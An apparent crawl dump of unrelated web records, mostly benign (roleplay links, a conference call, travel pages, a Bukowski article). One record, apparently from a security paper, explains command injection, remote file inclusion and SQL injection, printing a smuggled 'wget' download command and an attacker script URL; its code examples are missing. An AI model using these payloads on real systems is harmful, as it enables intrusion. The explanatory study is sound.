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I originally compiled this list for my kinship, but I thought other roleplayers old and new might find this useful. This guide is intended to be a resource for both roleplaying newbies, those who are new to Tolkien lore, as well as seasoned role-players. Because of the depth of Tolkien's world, there is a lot to learn, and the task of researching can be daunting - but I hope this will help! Enjoy, and don't hesitate to share any other useful links. Note: Since LOTRO Lorebook was discontinued, some of the links will no longer work - they will be marked with * - but I tried my best to find copies of the documents instead.
Updated 25/06/2014.
If you'd like to share this thread, here's a handy link - bit.ly/RPresourceList
1. General Roleplay Guides & Resources
The tutorials here should help you either find your feet with roleplaying, or brush up your skills. Wide range of topics covered: LOTRO servers, character biographies, emoting, types of roleplaying, dialogues, and even some character sheets to help you fill in the blanks!
2. Race-specific Resources2.1. ElfCovering the four races of the Free Peoples, I've included guides if I could find them, naming guides, articles on cultures, and Laurelin Archives searches for each race - in case anyone wanted to look at other player's character sheets to get some inspiration for back stories and biographies. In the future I may add a section for Beornings.
2.2. Man
2.3. Dwarf
2.4. Hobbit
3. Lore & Misc Resources3.1. Server
LOTRO roleplaying communities and resources for each server. So far I could find only one, but feel free to mention more if you know any!
3.2. Tolkienverse Wikipedias
Good starting point if you need a clarification on any piece of Tolkien lore. Be sure to check out the citations for more in-depth articles and research.
3.3. Lore & History
Here you will find websites dedicated to demystifying Tolkien's world in more depth. Articles, interactive maps and timelines, cultures, Tolkien's songs and poems, and so on.
3.4. Languages
Right now limited to Elvish languages, this section includes links to sites dedicated to Tolkien's invented languages. Dictionaries, grammar, articles.
1. General Roleplay Guides & Resources
- Utter Beginner's Guide to LOTRO RP - great starting point for role-play newbies!
- RP Made Simple - whether you're completely new to roleplaying, never done it in an MMO, or just need to brush up on your techniques, this is a fantastic site. The creator of the site is a WoW player, but many of his guides and tips can be applied to any MMO.
- Cymaru's "short" guide to roleplay (in LOTRO)* - you can request the pdf copy here under "Player Created Guides Backups"
- Sabo's Guide to Effective Roleplaying - another roleplaying guide by a LOTRO player. Warning: refrain from using the name-generator he supplies, a better alternative would be this.
- Real Elvish / How to Write Dialogue for Middle-Earth Characters - short essay on how to write LOTR-appropriate dialogue.
- Ready to Roleplay: Picking a Race and Looking Approachable - tips on RPing in LOTRO with some notes on each of the races.
- RP Made Simple's Backstory Worksheet- a printable .pdf file that may help you fill out those blanks in your character's life! Highly recommended.
- RP Made Simple's Character Sheet - a printable .pdf file containing a standard character sheet for you to fill out. Also highly recommended.
- Guide to Emotes - comprehensive list of emotes in LOTRO and some great examples of more 'advanced' emote usage for more immersive roleplay.
2. Race-specific Resources
- Andarne's Guide to Elven RP - a comprehensive guide to LOTRO-specific Elven RP for those looking for an in-depth crash-course in everything Elven. Includes: Elvish culture: recording of time, ancestry, life cycle, daily life, marriage and sexuality, languages used by the Elves and beginner phrases, naming traditions (though these ought to be taken with a grain of salt, as others have pointed out). You'll also find some practical tips such as RP locations: do's and dont's, and how to use In-Game features to spruce up your role-play!
- Ansereg / Elvish Culture: sex, marriage and children (PG rating)•German version - discusses what we know from Tolkien about Elven social, romantic and sexual behaviour as well as gender roles. Interesting article, it was every useful when I was trying to figure out a plausible story for my character's parents!
- Real Elvish / Elven Races - an easy to understand description of the three Elven races for the role-players and fan fiction writers.
- Elven Naming Traditions of Valinor and Middle-Earth
- BIM / Finding the Perfect Name for your Elf
- Sindarin Name Frame - this generator allows you to select two Sindarin words that pixelted Fëanor will form into a name following Sindarin's rules to the best of his ability.
- Quenya Name Frame - same as above, but for Quenya.
- Elf Name Generator - based on realelvish.net, this generator tries to stay true to Tolkien's linguistic rules.
- LA / Elf Character Sheets - read other roleplayers' character profiles for Elves.
- Real Elvish / Origin of Man - an easy to understand essay about the races of Men.
- The Ways of the Eorlingas - Redwick's guide to Rohirric roleplay and culture
- Rohirric Naming Traditions
- BIM / Finding the Perfect Name for your Man - Blogging Into Mordor's detailed guide to naming your Man character, depending on which part of Middle-Earth they hail from.
- LA / Man Character Sheets - read other roleplayers' character profiles for Men.
- The Seven Tribes Introductions - a comprehensive resource that can help you figure out your Dwarf's backstory.
- Dwarven Naming Traditions
- BIM / Finding the Perfect Name for your Dwarf
- LA / Dwarf Character Sheets - read other roleplayers' character profiles for Dwarves.
- Dwarf Name Generator - has LOTR option, but at first glance it seems to cover only the existing character names, so I wouldn't recommend it when naming your IG character.
- Hobbit Naming Traditions
- BIM / Finding the Perfect Name for your Hobbit
- LA / Hobbit Character Sheets - read other roleplayers' character profiles for Hobbits.
- Hobbit Name Generator - seems to work by mixing up known Hobbits first and last names to generate new combinations.
3. Lore & Misc Resources
- Laurelin Archives - Laurelin server's Wikipedia to all things RP. You can register and create a character sheet, find other roleplayers, kinships and events, keep a journal or a gallery for your character, and so on. Highly recommended.
- Landroval Roleplayers- similar to the above, but for uniting role-players of Landroval.
Tolkienverse Wikipedias
Lore & History
- Encylopedia of Arda - "an interactive guide to the works of J.R.R. Tolkien" - essays articles on races, places, and much more.
- LOTR Project - geospatial timeline of Middle Earth's history, interactive map of Middle Earth, demographics & statistics.
- Timeline of Arda - useful for Elves and Dwarves especially, helps establish the backstory.
- Real Elvish - famous for its name lists, phrase books and language resources, but here you will also find short essays on various Middle Earth races and cultures, their customs, and so on.
- Breeon's Lore & Language link compilation
- Hiswelókë's Sindarin Dictionary - a good resource for Elvish language (thanks, Aestivan!).
- Summary of Sindarin Grammar - explains those weird vowel and consonant shifts in Sindarin, and much more (thanks, Aestivan!).
- Elvish.org - a website dedicated to Tolkien's Elvish languages.
- Elvish.org / Dialogues in Fellowship of the Ring - examples and translations of the various Tolkien languages used in the film.


text: Call For Participation 2004 IFIP Internation Conference on Network and Parallel Computing (NPC 2004) http://grid.hust.edu.cn/npc04 **************************************************************************** INTRODUCTION: The goal of NPC 2004 is to establish an international forum for engineers and scientists to present their excellent ideas and experiences in all system fields of network and parallel computing. NPC 2004, hosted by Huazhong University of Science and Technology, will be held at Oct 18 - 20, 2004 in Wuhan, China. All accepted papers will be published by Springer-Verlag in the Lecture Notes in Computer Science Series (cited by SCI). There are many scenic spots and historical sites in Wuhan including the Yellow Crane Tower with the 1,700 years history, one of the three famous towers in South China, and the East Lake whose natural beauty rivals that of the West Lake in Hangzhou. The main topics of interest include, but not limited to: Parallel & Distributed Architectures Network Security Multimedia Streaming Services Performance Modeling/Evaluation Network Storage Middleware Frameworks and Toolkits Network & Interconnect Architecture Parallel Programming Environments and Tools Parallel & Distributed Applications/Algorithms Advanced Web and Proxy Services Peer-to-peer Computing Cluster & Grid Computing ************************************************************************** KEYNOTE SPEAKERS: Prof. Kai Hwang Director of Internet and Grid Computing Laboratory University of Southern California Topic: Secure Grid Computing with Trusted Resources and Internet Datamining Dr. Thomas Sterling Faculty Associate Center for Advanced Computing Research California Institute of Technology Topic: Towards Memory Oriented Scalable Computer Architecture and High Efficiency Petaflops Computing Prof. Jose A.B. Fortes Director of Advanced Computing and Information Systems (ACIS) Laboratory University of Florida Topic: In-VIGO: Making the grid virtually yours Dr. Robert Kuhn Intel Americas, Inc Topic: Productivity in HPC Clusters Dr. Mootaz Elnozahy IBM Topic: PERCS: IBM Effort in HPCS ************************************************************************ REGISTRATION FEE (ON-SITE FEES) Regular : Euro 400 or US$ 480 Student : Euro 200 or US $240 Accompany : Euro 150 or US $180 EXTRA ROCEEDINGS : EURO 100 (or US $ 120) FOR EVERY EXTRA PROCEEDINGS The registration form can be downloaded from the following address. http://grid.hust.edu.cn/npc04/download/registration-form-npc04.pdf ************************************************************************ VENUE The conference will be held in Wuhan Lake View Garden Hotel that is the only traditional ancient style hotel in Wuhan City to meet the international five- star hotel standard. It is located in the beautiful East Lake scenery site ,and the East Lake High Technological Development Zone. The nice environment and the convenient traffic make it the ideal accommodation for travelers. 200 all kinds of well-equipped rooms are delightfully decorated and offer an array of comforts and amenities. http://www.lakeviewgarden.com/english/ ************************************************************************ PROGRAM The detailed program can be found at http://grid.hust.edu.cn/npc04/program.htm ************************************************************************ TOURISM Wuhan, the capital of Hubei Province, is the largest city in Central China, with a population of over 7 million and an area of 8,467 square kilometers. It lies at the confluence of the Yangtze and Han rivers and is comprised of three towns--Wuchang, Hankou, and Hanyang--that face each other across the rivers and are linked by two bridges. A major junction of traffic and communication, it is the center of economy, culture and politics in Central China and is proud of metallurgy, automobiles, machinery and high-tech industries. A core of national air, water and land transportation it offers great potential for further development and foreign investment. Wuhan is rich in culture and history. Its civilization began about 3,500 years ago, and is of great importance in Chinese culture, military, economy and politics. It shares the same culture of Chu, formed since the ancient Kingdom of Chu more than 2,000 years ago. Numerous natural and artificial attractions and scenic spots are scattered around. Famous scenic spots in Wuhan include Yellow Crane Tower, Guiyuan Temple, East Lake, and Hubei Provincial Museum with the famous chimes playing the music of different styles. Yellow Crane Tower is the symbol of Wuhan. It is located on the Snake Hill in Wuchang, at the south bank of Yangtze River; it is called one of the three most famous towers in southern China, together with Yueyang Tower in Hunan Province and Tengwang Tower in Jiangxi Province. The East Lake is one of the first state scenic spots in the east of Wuhan. The lake covers an area of 33 square Km, and is the largest lake of a city throughout China. In 1999, it was granted by the State as National Civilized Scenic Spot Model Site. Moshan Hill located in the East Lake scenic spot, it is surrounded by the lake from the East, the West and the North. From East to West, it is 2,200 meter long; from North to South, about 500 meter broad. Moshan Hill has six peaks, with Chu culture as its subject, such as Chu Bazaar, Chu Heaven Platform, Chu Talents Park, are full of antique flavor and classic beauty of Chu culture. ************************************************************************ For more information, please contact the program vice-chair, Dr. Hai Jin Tel:+86-27-87543529 Fax:+86-27-87557354 Email:hjin at hust.edu.cn

subset: commoncrawl


text:
Anastasia Arad
Anastasia Arad is a recruiter. She could recruit us anytime she pleased. She has interests in fashion, modeling, writing, dancing and painting. Her ambition is to open up a small fashion store. Anastasia believes in having fun and being around positive people. To learn more about this beautiful romanian gal check out her interview video in the members area.


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Web applications commonly face a unique set of vulnerabilities due to their access by browsers, their integration with databases, and the high exposure of related web servers. The modern web server setup commonly presents multiple applications running on one host and available via a single port, creating a large surface area for attack.
Code injection is one such attack, which exploits a web application's interface to the underlying operating system and results in the execution of arbitrary code. A simple example of a PHP code injection attack follows:
Directing a web browser to this application at the URL "application.php?name=Magoo" would result in the display of a webpage containing the word "Magoo". However, using the characters "Magoo; wget 18.104.22.168/toolkit.c" would execute two statements within the exec() function. The second statement is a malicious attempt to download a file to the victim host. A vulnerability similar to this was present in some versions of the Advanced Web Statistics (AWStats) script, a popular application used for summarizing information about visitors to a web site. This vulnerability has been widely abused by several worms, including Lupper. Note that AWStats is written in Perl so the problems we describe are by no means unique to PHP.
To quote from the iDEFENSE advisory :
"The problem specifically exists when the application is running as a CGI script on a web server. The "configdir" parameter contains unfiltered user-supplied data that is utilized in a call to the Perl routine open() as can be seen here on line 1082 of awstats.pl:
In the case of the following attempted exploit:
we end up with:
which leads to the execution of the attacker's commands, because of the way perl's 'open()' function works. It seems as if the 'echo b_exp' at the start and a corresponding 'echo e_exp' at the end is intended to simplify parsing of the resulting web page, as in the this published exploit.
The PHPBB vulnerability that was exploited by the Santy worm was a problem of this type. PHPBB is a bulletin board written in PHP which allows users to post and reply to messages about various topics. A Google search for PHPBB reveals around 1.5 million sites at the time of writing. The Santy worm initially attempted to exploit the viewtopic.php vulnerability with a small test payload, simply printing out a particular piece of text. If the resulting web page contained the supplied text, the worm would launch its propagation code. (Eventually Google began to block Santy's queries.) The following is an example of an attack observed against PHPNuke which attempts to run the 'id' command. It is a maliciously crafted HTTP GET request:
The 'id' command identifies the current user and seems to be often used to test command injection issues, as the results of a successful test are easily identifiable. The vulnerability itself appears to be the phpBB Remote Command Execution (Viewtopic.php Highlight) issue which we discuss later. PHPNuke has included PHPBB for its forums "starting from somewhere around v. 6.5"
A remote code-inclusion attack works similarly; for example the following PHP code:
include "$librarydir/utils.php";
will include a PHP file into the currently executing script. Under certain circumstances, such as the configuration item register_globals being enabled, an attacker may be able to change the value of the variable $librarydir. (Register_globals means that PHP will automatically initialize variables from HTTP GET parameters without the programmer's intervention.) Some configurations of PHP allow the inclusion of code specified by a URL rather than a local file name. The attacker exploiting this vulnerability may attempt to set $librarydir to a value such as
"http://126.96.36.199/evilscript.php". If the attack is successful the attacker gains control of the web application.
Remote code-inclusion attacks have occurred in a wide variety of PHP applications, notably the Mambo CMS. Typically the attacker includes a script that attempts to execute a command such as one fetching further malware. These utility scripts are often quite full-featured and some have integration with databases and allow the invocation of shell commands, sending of email and viewing of files on
the web server. See Appendices A and B for more details related to this type of attack. The vulnerability classes - remote code-inclusion and command injection - should be considered serious as they have resulted in a number of high profile worms attacking the following software:
PHPBB, reported December 21, 2004, attacked by the Santy worm.
AWStats, PHPXMLRPC, WebHints reported November 7, 2005, attacked by the Lupper worm.
Mambo, reported December 6 2005, attacked by the Elxbot worm.
Mambo, PHPXMLRPC, reported February 20, 2006 and attacked by the Mare worm.
An example attack we observed against Mambo CMS is as follows. Again, it is simply a malicious HTTP GET request, exploiting the vulnerability described in Secunia Advisory #14337 :
This has the effect of executing the script of the attackers choosing, here 'http://192.168.57.112/~photo/cm' - the exact operation of the exploit against the vulnerability can be seen in 'Mambo Exploit' in Appendix A. In this case, the included file is a 'helper' script which attempts to execute the operating system command given by the 'cmd=' parameter. Here the commands given would cause the helper script to be written over the 'index.php' file and the details of the operating system and IP address to be sent to two email addresses. The attackers could then revisit the vulnerable systems at a later date.
An example of a particular helper script, the c99 shell is given in Appendix B, but such scripts typically allow the attacker to execute operating system commands and browse the file system on the web server. Some more advanced ones offer facilities for brute-forcing FTP passwords, updating themselves, connecting to databases, and initiating a connect-back shell session.
Another type of web application attack is SQL injection. Suppose a naively implemented login page searches for records in a database which match the given username and password, like this:
This SQL query always returns a non-empty result, bypassing the login procedure and enabling the attacker to access the application. By successfully exploiting an SQL injection vulnerability the attacker can often gain superuser/admin access to the application or even the operating system.
The following is an attack we observed against PHPNuke:
which exploits the vulnerability detailed in Secunia advisory #14866 - the 'querylang' parameter is allows an SQL injection attack against the application. This is the original Waraxe advisory about the vulnerability. The following source code is the problem:
and as result we can see md5 hashes of all the admin passwords in place, where normally top 10 votes can be seen :) The exploit will reveal the MD5 hashes of all the administrative users of PHPNuke. The value of seeing the MD5 hashes is being able to recover some passwords from them, as we explain below in the section "Top 10 Operating System commands issued".
Another form of attack against web applications is known as Cross-Site Scripting. (This is abbreviated to XSS as the acronym CSS was already taken by Cascading Style Sheets.) In a cross-site scripting attack, data is entered into an application which is later written back to another user. If the application has not taken care to validate the data correctly, it may simply echo the input back allowing the insertion of Javascript code into the HTML page.
A naive implementation of a bulletin board might store a user's comment in a database and write it straight back to other users who are viewing the thread. By posting something like


text:
It is night in an upscale Manhattan apartment. A child, tucked safely into bed, drifts toward sleep to the sounds of her parents tearing each other apart in the next room.
We are in Maisie's world and about to find out in uncomfortable detail just "What Maisie Knew."
Directors Scott McGehee and David Siegel have created a smart — and smarting — film based on the novel "What Maisie Knew," one of Henry James' lesser-known works. Without losing the 19th-century author's sensibility, screenwriters Carroll Cartwright and Nancy Doyne have brought into the modern age James' examination of the effect of a messy divorce on a child.
For all the ugliness the...


text:
Contact one of our experienced Personal Cruise Sales Consultants Monday through Friday between 7:00 AM and 11:00 PM, Saturday between 9:00 AM and 8:00 PM or Sunday between 11:30 AM and 8:00 PM Eastern Standard Time. For countries outside of the U.S. and Canada, click Find an Agent to contact a travel partner in your area.
For Travel Professionals, please call 1-800-446-6620 to speak with a Crystal Reservations Support team member.


text:
Nove Mesto, Prague
Good King Wenceslas may have looked out onto a field of snow, but these days his namesake square in the 'New Town' boasts the National Museum, grand hotels, shops, cafes and bags of mid-town buzz.
After clueing up on the Czech culture at the National Museum and Museum of Communism and viewing the district's trove of gorgeous churches, make you way the river to see the Dancing House, an extraordinary 'twisted' building by architect Frank Gehry. Who said Prague was a stickler for tradition?
0.1 km
Wenceslas Square
0.4 km
National Museum (Národní muzeum)
0.5 km
Havel's Market (Havelský trh)
0.7 km
Old Town Square
1.1 km
Old Jewish Cemetery
1.2 km
Charles Bridge
1.2 km
1.3 km
1.7 km
National Technical Museum
1.7 km
Wallenstein Palace
1.9 km
Golden Lane
2.2 km
Prague Castle
2.2 km
+1 646 810 8678
Call us for a quickanswer to all your questions
- Customer service before, during and after your stay
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Bombala is a town in the Snowy Mountains region of New South Wales.
Get in[edit]
Countrylink [2] has connections to Bombala from Canberra via Cooma three times a week.
The V/Line Capital connection, which connects with the train from Melbourne at Bairnsdale and continues to Canberra runs through Bombala three times week.
The Monaro highway passes straight through Bombala, connecting from Canberra and Cooma in the north, to the Princes Hwy in the south across the Victorian border.
Get around[edit]
There is no public transport or taxi service in Bombala.
See[edit][add listing]
The town of Bombala was settled in the 1840's, and was one of the major towns of the region. It was the terminus for the railway line from Sydney, which has now been progressively closed all the way back to Canberra. You can still see many historic buildings in the town. The railway station and lines are still there, and you can walk on the platform.
Do[edit][add listing]
Buy[edit][add listing]
Eat[edit][add listing]
Drink[edit][add listing]
Sleep[edit][add listing]
Get out[edit]
The small down of Delegate is 30 minutes drive away. You can continue on the road south from there, for a 100km winding and scenic trip to join the Princes Highway. Great trip for those who love driving corners. Not so great for travelling with those with a propensity for car sickness.


text:
Nile1484 necesitaba un nuevo diseño de papelería y lanzó un concurso de diseño en 99designs.
Un ganador ha sido elegido entre 37 diseños de 11 diseñadores freelance.
LabYak.com is the first fully supported question-and-answer engine designed exclusively by and for life scientists. LabYak.com will enable a global community of life scientists to pose questions and have them answered by knowledgeable subject experts. LabYak.com supports users in developing specific areas of expertise and building lively communities among scientists who share the same interests and specializations.
LabYak.com is a niche web-based communication tool designed for a global life science community. The target audience is budding scientists between the ages of 21 and 40. They are most likely graduate or post-doctoral students who are in the process of building their areas of expertise. Both genders are equally represented. Older, more established scientists are also a potential audience, but they are most likely to be late adopters, so the focus is on a younger demographic for the time being.
The LabYak user is intelligent and well educated, but not as tech-savvy as comparable students in some other disciplines. Life scientists, as a group, generally tend to be methodical, orderly and unwilling to try new things.
Of course, we are interested in having both the sides designed. Only one side will have the individual's name, title, and contact information. Both sides should have the logo, the company name, and the tagline.
The logo is attached. We designed the logo so that it looks like a "Y" and could potentially form part of the company name. However, it doesn't have to and we would be interested in seeing designs that is independent of the name as well.
The tagline is:
The World's Biggest Lab
Color: Please refer to the attached jpg that is an example of the color palette that we are using.


text:
Build and deploy applications with a cloud based IoT platform
SAP offers a comprehensive portfolio of solutions for the Internet of Things (IoT). This in-memory IoT platform can help you quickly develop, deploy, and manage your own real-time IoT and machine-to-machine (M2M) applications. Use the platform to automate processes at the core and connect to almost anything at the edge of your network.
- Harness the core capabilities of SAP HANA – such as geo-spatial processing, series data, and location services
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- Create next-generation, real-time, machine-to-machine and IoT applications
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text:
Planted two lots of this in 2010.
Seems to do quite well but dies back a bit thin in the winter.
October seems to be the time to see Cats Whiskers, looking full bodied with plenty of flowers.
Doesnt really seem to be making a distinctive impression really, just looks like a bunch of weeds.
Seems to be woodying still and definatly a efature althoug its not very distinct.
Seems to be woodying up a bit and becoming a lot more substantial.


text:
Trump's Border Wall Prototypes Are Minimalist Art — and Should Be a National Monument
Artist Christoph Büchel saw the prototypes for President Trump's border wall, and proposed that they be made a national monument — a concept several critics dismissed as trolling. But New York's Senior Art Critic Jerry Saltz begs to differ; the monuments, he says, are "perfect minimalist sculpture."
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text:
I am not a writer of prose. This is not an article, an anecdote or short story. It is simply the imperfect account of an evening from several points of view.
So begins the document that Lee Mallory has set in front of me at a cramped wooden table in the corner of Alta Coffee in Newport Beach.
By now, I've grown so accustomed to word processors and social media that the text — written on an old manual typewriter and photocopied for my use — looks like a carefully guarded antique. Which, in a way, it is.
The title reads "Bukowski — New Years Eve," and the first page, along with the 1972 copyright, declares that the text may not be used anywhere without the author's permission. Mallory has written that permission for me by hand in the margin. He is making his slow departure from Orange County's poetry scene, and as he prepares to retire to Las Vegas, he's called me here to Alta to pass on a memento that he's held onto for more than two decades of producing readings.
That memento is a seven-page account of a New Year's Eve spent in 1971 at the Hollywood home of Charles Bukowski, the prolific poet and novelist whom Time magazine once dubbed a "laureate of American lowlife."
More than two decades before Bukowski's death in 1994, he and Mallory had a tight but volatile relationship. A friendship? With Bukowski, it was hard to say. But at very least, it was tight enough to have inspired this piece.
"Bukowski was the king of confrontation," Mallory says, a foot or two from the Balboa Peninsula coffeehouse's de facto stage area, where he has held court since the early 1990s. "He was skeptical and cynical about young poets in general. He characterized the adoring poets who came to his door as 'sharks,' but he more or less took me in."
On the table in front of us — which, at some point, probably supported Mallory's feet during an interpretive poetry dance — are scattered remnants of his days with Bukowski: old photographs, sketches, typewritten letters. Not all of them evoke nostalgia; the New Year's Eve account, at times, is a sobering reminder of Bukowski's temper.
Still, when I ask Mallory how he feels looking at these souvenirs, he pauses, then answers with one word:
Coming down from Laurel Canyon, Hollywood Blvd. sets the stage. Neon, cars, the big billboards, everything rushing toward some new year. Everything open; go in and get some beer. Buk says on the telephone bring beer. Got to hold to beer — bourbon and wine tear me up — stomach gone, liver shot, intestines burned, and worst of all that horrible black depression that comes afterward. Beer is the only sensible way.
The first time Mallory met Bukowski, a 12-pack was the price of admission. Mallory's brother-in-law, who published a magazine, had connections to the poetry scene, and when he asked Bukowski if he could bring his relation over, Bukowski offhandedly agreed.
Mallory, then a graduate student at UC Santa Barbara, stocked up at the liquor store and made the drive to Hollywood. The first knock at the door went unanswered; with the curtains drawn in the middle of the day, the house looked vacant. After more knocks, a curtain finally parted and a voice came through the window: "Did you bring the beer?"
On that visit and later ones, Mallory and his brother-in-law sat on the couch and nursed beers while Bukowski spieled about the literary scene. The blinds and curtains stayed drawn. Sometimes, Mallory could tell that they had interrupted Bukowski in mid-poem; he had his long sleeves rolled up and paper stacked around the typewriter.
The apartment itself showed all the signs of living alone, and messily: socks and cans lying around, old food in the refrigerator. Still, Mallory could see that his future mentor had refined tastes; over all the squalor and dim, Bukowski kept classical music constantly on the radio.
"One the one hand, you felt like you had entered a den of inequity," Mallory says. "But on the other hand, you knew you were in the presence of one of America's great writers."
Before long, Mallory and Bukowski bonded over literature more than liquor. Mallory, who had started producing readings, set up gigs for Bukowski; in his files are letters, poems and drawings that Bukowski mailed to him. At one point, Bukowski even wrote a brief foreword for a planned book of Mallory's poems; the book deal fell through, and Mallory shelved the foreword when he felt he'd outgrown the poems it cited.
One missive from 1971, addressed to "brother Mallory," reads in part, "Yes, I'm on the hustle, which means readings, which all helps survival until that [grim reaper] puts it to us. So if you hear of any, send them my way and I'll do my little act."
The words "grim reaper" replace a term we can't print in this paper; Bukowski, on the page and in person, often shifted between tender and coarse.
So, for that matter, does Mallory. His poetry can be lusty ("I'd like to be your washer / you & me / a permanent press") and his performances wild; hosting at Alta and the Gypsy Den in Santa Ana, he was known to shout improvisations, even smash dinnerware to climax his poems.
Still, Mallory shows a dapper streak. A Santa Ana College professor until his retirement last year, he often wore a coat and dress shirt to readings amid a crowd of T-shirted poets. When the Newport Beach Independent profiled him two years ago, it dubbed him "the Grandfather of Poetry in Orange County." He represents a link to poetry's past, in more ways than one.
Bukowski is talking and puking in his kitchen sink. He's made the rounds of most all the women but had no luck because most of them are married. For the unmarried his approach is simple and direct. "How 'bout it baby? Let's go do it." But even so, they don't get pissed because he's always got that smile and that funny tone in his voice that maybe says he's not being altogether serious. But he is. The men he treats differently. He's a host. He's an aggressor. It seems that the better he knows a guy the more viciously he tests him.
Back to that word: "Wistful."
One of Mallory's favorite photos shows him standing next to Bukowski on a Southern California street in the early 1970s. Bukowski, on the left, squints into the camera with cigarette in mouth, one hand in his pocket and the other clutching a stack of papers. To his right, Mallory beams with his hands on his hips, looking like a disciple giddy to be beside the master.
That was the relationship the two of them enjoyed at their best. Other times, the king of confrontation reared his head. Mallory recounts a night he stayed up late at Bukowski's apartment and made a comment that the poet was drinking too much, that his behavior was self-destructive. Bukowski leaned in closely, summoned his cold stare and told Mallory not to bring up the topic again.
"I said, 'You're killing yourself,'" Mallory recalls. "He said, 'I know.'"
Months later, at a post-New Year's party at Bukowski's home, the tension between them almost erupted. In Mallory's recollection, some of the other guests were chiding Bukowski for still having a Christmas tree, and the flustered poet grabbed the tree and threatened to chuck it through the window. A woman implored him to stop, an argument started to brew between them, and Mallory, fearing an explosion, stepped in and told Bukowski to cool it.
Bukowski called Mallory a "punk" and told him never to intervene between him and a woman again. For the rest of the party, he acted cool to Mallory, who wondered if he had overreacted. In the ensuing weeks, Mallory wrote to Bukowski expressing regret for the falling-out and got halfhearted replies. Then, in 1973, Mallory joined the military, and the two drifted apart.
In later years, talking to others who had been close to Bukowski, Mallory asked if the poet ever mentioned his name. They replied, yes, he did. But it was no more than a mention, no indication of fondness or dislike.
Still, it's not just the falling-out that Mallory feels wistful about. Even though he witnessed Bukowski's dark side firsthand, he feels his role model was misunderstood for much of his life. Some poets, he says, considered Bukowski a sellout when he married his last wife, Linda Bukowski, in the 1970s and left Los Angeles for San Pedro — an accusation that Mallory regards as unfair.
Seated at Alta, Mallory rattles off a list of other Bukowski myths: that he was misogynistic ("He wrote very tender poems to women sometimes"), that he used profanity for shock value (Mallory sees it as reflecting the street culture) and that his epitaph, "Don't try," was a slogan of defeat (it was a message to writers to let the muse come naturally).
After Bukowski's death in 1994, Mallory wrote tributes to him for the Daily Pilot and Orange County Register and printed a limited-edition broadsheet of one of his poems. Bukowski, for that matter, may have written a public tribute to Mallory as well: His early-1970s poem "Slim Killers" includes the lines "well, we don't have a car / and Lee needs a ride to this nightspot / in Hollywood." Is Mallory the Lee mentioned? The question has always haunted him.
Meanwhile Buk is ranting at the guests about the miserable plight of the tortured artist. Half-serious, half-funny he goes on and on about PAIN. And what drama. What entertainment. But don't be misled — it wasn't as if he was trying to hold center stage. In fact, for long portions of the evening he was not there at all. But when he did get going he was dramatic and FUNNY and he could really pull it off. WHAT CAN ANY OF YOU POSSIBLY KNOW ABOUT PAIN?, he'd cry out, he'd scream. PAIN! I've known it deep down in my guts, he'd say; and past your smile and through his you knew it was true.
When Mallory slid the New Year's Eve document out of a binder in his office at Santa Ana College, he barely recognized it. The typewritten font had faded over nearly four decades, and most of the text felt so unfamiliar that it might have been another person's writing.
Mallory had gone into his archives to find early work for a volume of his selected poems, "Now and Then," which came out in 2009 from Moon Tide Press. (Full disclosure: I'm the publisher of Moon Tide, and Mallory was among its co-founders. Like Bukowski, he's taken a lot of younger poets under his wing.) The early poems went into the book, but the New Year's Eve account didn't. Here at Alta is the first time anyone outside his family has seen it.
I know what this transaction means, in part: Bit by bit, Mallory is dismantling the poetry career he's built in Southern California. The next stop is Las Vegas, where he is already scouting the poetry scene. His office at school has been cleared out. The Alta reading has expired, and another poet, Jaimes Palacio, has taken over the Gypsy Den. Old books are being offered to the Santa Ana College library; documents are being sorted for archives, personal use or disposal.
After Mallory's death, he plans to have the New Year's Eve story sent to UC Santa Barbara's Special Collections library. For years, he's helped the library preserve Bukowski's story; its archive includes photographs of Mallory with his mentor, letters between them, posters and fliers of long-ago readings. When Spanish journalist Abel Debritto set out to research Bukowski for a book — "Charles Bukowski, King of the Underground: From Obscurity to Literary Icon," scheduled for release from Palgrave Macmillan this year — Mallory was among the sources he contacted.
On the phone to me, Debritto notes that he knows collectors who will shell out $1,000 or more for a Bukowski-related item. Whatever his king-of-the-underground reputation, Bukowski means big business now. Linda Bukowski, who donated his literary archive to the Huntington Library in 2006, estimates that the body of work could have fetched more than $1 million.
When I mention Mallory to her, Linda hasn't heard of him. It's not surprising. She met her husband in the mid-1970s, after Mallory had left for the barracks, and she notes that Bukowski — "Hank" to her — chose his inner-circle carefully. Mallory, most likely, was an acquaintance and colleague more than a close friend.
"You could count what he actually described as friends on one hand," she says. "I guess in those days, in the early '70s, he had contact with a lot of people because he was getting his name out there."
Still, she expresses interest when I mention the documents in Mallory's collection. When Linda visits book fairs, she sometimes checks for new artifacts. She once paid $3,000 to replace a rare Bukowski volume that was stolen from her home.
"It's always exciting to hear about new things," she says.
With Mallory's blessing, I mail her a stack of documents: the photo, two letters, a copy of "Now and Then," and excerpts from the New Year's Eve memoir. Two decades after death officially parted them, Mallory and Bukowski have reunited, if only through one degree of separation.
The last few minutes found Bukowski and I alone in the kitchen. I muttered something to the effect that he could stay at our place if he came up to Santa Barbara to read. "But you can't dry off on the sheets," I tell him. I say too that I'm going to do everything I can to get that reading for him. And then the conversation turns to men and poetry. He knows that I look up to him and for some reason he says, "Lookit, you're just a man and so am I. You're a poet and I'm a poet, but you haven't been around as long as I have.
"Remember too," he says, "until we sit down in front of that typewriter, that machine, we're just the same. Just tryin' to get by in this crappy world, just the two of us and all the rest. So just stay at the machine. It's the only thing that's gonna last."
Twitter: @MichaelMillerHB


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The internet has certainly changed the process of how information and news is filtered and by whom. A process that was carried out by traditional media for decades is today largely managed by a few internet companies through algorithms. In this new role, they are not only filtering information but also helping us navigate a widely scattered information landscape through their products and services. In a new report by the Center of International Media Assistance, Bill Ristow discusses the role of these new information gatekeepers and the implications they face in protecting policies and practices across borders, such as openness of information and freedom of expression. Setting universally accepted norms on what is good behavior on the internet and what is not, is a major challenge. The question is who should be making these kinds of decisions? How are the new information gatekeepers held accountable?
The report uses Professor Pamela Shoemaker's definition of "gatekeeping." It goes, "gatekeeping is the process by which the billions of messages that are available in the world get cut down and transformed into the hundreds of messages that reach a given person on a given day." So who exactly are the new information gatekeepers? Ristow mainly draws from the large internet companies that dominate the internet, including Google, Yahoo, Twitter, and Facebook. Interestingly, it is mentioned that Google doesn't like to be referred to as a gatekeeper. For them, "all gates" are down. Instead, their mission is "to organize the world's information." But, in the report Karine Nahon, associate professor at the University of Washington, says that the large internet companies are indeed gatekeepers through the tools and services they provide. She refers to gatekeeping mechanisms such as search engines, as these tools prioritize information for us. Another example is the autocomplete function, which suggests search terms as we type. In the end, the internet companies have some control over what pieces of information they will allow us to see.
